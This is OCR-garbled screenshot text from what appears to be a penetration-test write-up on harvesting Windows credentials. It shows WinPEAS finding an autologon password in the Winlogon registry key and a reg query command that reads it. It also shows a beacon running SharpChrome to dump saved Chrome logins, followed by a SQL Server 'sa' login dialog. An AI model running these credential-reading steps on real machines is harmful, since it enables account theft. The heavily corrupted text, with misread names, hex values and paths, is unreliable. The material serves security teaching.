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[HKOVNSOATWAREWIErdséft\Windows NT\Currentversion\Winlogon []

(Winpeas [TTT1111]

Defaul tDomainMName : white-bird
Defaul tUserName : serveradm
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MName Type Data

ab| (Default) REG 57 (value not set)

ab| AutoAdminLlogon REG_SZ 1

ab| AutologonSID REG_SZ 5-1-5-21-2387957962-993181570-3566323574- 1604
e AutoRestartShell  REG_DWORD CecD000000T (1)

ab| Background REG_SZ ooo

ab| CachedlogonsC... REG_SZ 10

ab| DebugServerCo... REG_SZ no

ab| DefaultDomain.,., REG_SZ white-hird

ab| DefaultPassword  REG_SZ Summer2024!

ab| DefaultUserMame REG_SZ senveradm

Ws| DisableBackButt... REG_DWORD Cec00000007 (1)

fis| DsableCAD REG_DWORD CecD000000T (1)

3| EnableSIHostInt... REG_DWORD Ca0000000T (1)
%e|ForceUnlocklog... REG_DWORD CecD0000000 (0]

fis| LastLogOffEndT... REG_COWORD 3bedadaf? (16077437082)

ab|| astllsedUserna.. REG_SZ serveradm

ab| | egalMoticeCap... REG_SZ

ab|| egalMoticeText  REG_SZ

We| PasswordExpiny... REG_DWORD Cu00000003 (3)

ab| powerdownhfte.,, REG_SZ 0

ab| PreCreateknow... REG_SZ {A5204144-1780-4FF6-BD 8- 167343 C5AF1 6}
ab|ReportBootOk REG_SZ 1

ab|ecremoveoption  REG_SZ 0

ab| Shell REG_SZ explorer.exe

W] ShellCritical REG_DWORD Cec0O000000 (0]

ab| Shelllnfrastructure REG_SZ sihost.exe

%) ShutdownFlags  REG_DWORD CxBO00002T (2147483687)

fie| SiHostCritical REG_DWORD CecD0000000 (0]

fis| SiHostReadyTim... REG_DWORD Ca00000000 (0]

8| SiHostRestartCo... REG_DWORD CecD0000000 (0]

o SiHostRestartTi...  REG_DWORD Cac00000000 (0]

ab| | Jserinit REG_SF Ch\Windows\systern32\userinit.exe,
ab| VMApplet REG_SZ SysternPropertiesPerformance.exe /pagefile

IIMTregdjigery "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v
DefaultPassword [T]]]

PS C:\Download> reg query /v DefaultPassword

nticurrentversion\winlogon

u
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DefaultDomainName : white-bird
DefaultUserName : serveradm
DefaultPassword ! Summer2824!
AltDefaul tDomainMame

AltDefaultUserName
AltDefaultPassword
Check : Registry Autologons

[T TR g Ead b Soanp®BraRPack/SharpDPAPI) [ SharpChrome (
https://github.com/djhohnstein/SharpChromium) [T T T T T

beacon> execute-assembly /fopt/red/sharpchrome.exe logins

[*] Tasked beacon to run .NET p am: sharpchrome.exe logins
[+] host called home, sent: 845379 bhytes

[+] received output
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[*] Action: Chrome Saved Logins Triage

[*] Triaging Chrome Logins for current user

[*] AES state key file : sers\serveradm\AppData‘\Local me\User Data\Local
[*1 AES state key i 62 1FBEBD 0B0O2! F7DC DEBDEBCDAZ2387AF0644D28

--- Credential (Path: C:\Users\serveradm\AppData\Local\Google\Chrome\User Data\Default\Login Data) ---

SharpChrome completed in 00:00:00,5027209
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I;IE Connect to Server

SQL Server

Servertype: Database Engine
Server name: |m
Authentication: SQL Server Authertication

Login: |sa

Password: e

Remember password

Cancel Options =

1s-local-privilege-escalation#creden
it will inted as un
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